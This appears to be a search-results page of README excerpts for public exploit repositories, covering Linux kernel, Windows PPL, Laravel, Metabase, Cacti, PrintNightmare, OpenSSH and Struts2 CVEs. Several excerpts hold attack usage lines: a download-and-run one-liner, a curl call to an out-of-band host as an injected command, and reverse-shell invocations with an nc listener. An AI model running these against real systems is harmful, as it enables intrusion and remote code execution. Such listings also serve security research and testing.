232322 matches found
CVE-2014-3153
Towelroot for Ubuntu x86 This exp has been tested on ubuntu 14.04 x86 and ubuntu 12.04.2 x86 successfully. Learning CVE2014-3153 and towelroot. Kernel through version 3.14, use rbtree to store rtwaiternot plistnode, more complex! IA have diffrent threadinfo with ARM!! Source from geekben/towelroo...
Laravel_CVE-2021-3129_EXP
LaravelCVE-2021-3129EXP Reference exp: https://github.com/SNCKER/CVE-2021-3129 Version Requirements Laravel Iginition == 2.5.1 Local version of EXP: Laravel 8.4.2 Notes You need to place this exp in the phpgcc directory, otherwise phpgcc cannot be called. example...
RIPPL
RIPPL Manipulating PPL protected processes without using a driver This tool implements a userland exploit to manipulate Windows PPL protected processes. The technique was initially discussed by James Forshaw a.k.a. @tiraniddo and Clément Labro a.k.a. @itm4n in the following blogposts. Blog post...
CVE-2020-0022
CVE-2020-0022 vulnerability exploitation on Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 By Polo35 - 2020/08/24 "Usage: python poloexploit.py targetbtmac targetadbip, shellcommand, disablereboot, verbose" Based on scripts by Jan Ruge CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click R...
RunAsWinTcb
RunAsWinTcb Overview RunAsWinTcb uses an userland exploit to run a DLL with a protection level of WinTcb-Light. Overview of the vulnerability and the capabilites of an exploit can be found here: https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387...
CVE-2025-9074
Description Vibe coded a small exploit script in pure Bash without dependencies on tools that might not be installed. The script talks to the internal Docker API, creates and starts a new container, mounts the host C drive and then executes a command inside that. The output is streamed back to th...
CVE-2023-38646
CVE-2023-38646 Automatic Tools For Metabase RCE Exploit Known As CVE-2023-38646. Read https://secry.me/explore/news/metabase-rce-cve-2023-38646/ for more information POC, Dork How to Use single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" ...
log4j-pcap-activity
log4j-pcap-activity A fun activity using a packet capture file from the log4j exploit CVE-2021-44228 Instructions Open wireshark and import the PCAP located in this repository: log4j-exploit.pcap. Looking at the packets, answer the following questions. Questions Easy 1. Which Packet numbers conta...
Cacti-CVE-2020-8813
Cacti-CVE-2020-8813 Usage: cactirce.py options Options: -h, --help show this help message and exit -u URL, --url=URL Required target URL eg:. http://Cacti/ -l LHOST, --lhost=LHOST Required Attacker IP addr -p LPORT, --lport=LPORT Default 443 Attacker IP Port Example: python3 cactirce.py -u...
CVE-2018-7849
CVE-2018-7849 Affected Products Schneider Electric Modicon M580 Version 2.90 Schneider Electric Modicon M340 Version 3.10 Schneider Electric Modicon Premium All Versions Schneider Electric Modicon Quantum All Versions References https://www.se.com/ww/en/download/document/SEVD-2019-134-11/...
PNCVE-Win10-20H2-Exploit
PrintNightmare-CVE-Win10-20H2-Exploit To run this exploit on Windows: Run this oneliner: curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat NOTE: This will only work once per restart. If you run thi...
DirtyCred
DirtyCred: Escalating Privilege in Linux Kernel DirtyCred is a kernel exploitation concept that swaps unprivileged kernel credentials with privileged ones to escalate privilege. Instead of overwriting any critical data fields on kernel heap, DirtyCred abuses the heap memory reuse mechanism to get...
CVE-2022-24834
Improvement of CVE-2022-24834 public exploit Author Conviso Research Team Description The team at Ricerca Security @RicercaSec discovered and successfully exploited a interesting vulnerability CVE-2022-24834 in the Lua interpreter included with Redis. This vulnerability is a heap overflow in the...
CVE-2025-55182-exploit
CVE-2025-55182-exploit TL;DR This is for legal penetration testing purposes only. Do not engage in any illegal activities. How to use python3 exploit.py Demo Video...
CVE-2017-0199
Exploit toolkit CVE-2017-0199 - v4.0 Exploit toolkit CVE-2017-0199 - v4.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. It could generate a malicious RTF/PPSX file and deliver metasploit / meterpreter / other...
libfutex_exploit
This repository does not have a README...
CVE-2020-15778-Exploit
CVE-2020-15778-Exploit Exploit for CVE-2020-15778OpenSSH vul Example: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 You need to use netcat to listen port before use python script Example: nc -lvp 1234 1.Screenshot of using script 2.Screenshot of get shell 2021-7-21...
apache-struts2-CVE-2017-5638
apache-struts2-CVE-2017-5638 Demo Application and Exploit Sample Apache Struts2 App Struts2-showcase: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12 Exploit Reference: https://github.com/rapid7/metasploit-framework/issues/8064...
CVE-2020-0910
CVE-2020-0910 Working Exploit PoC CVE-2020-0910 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...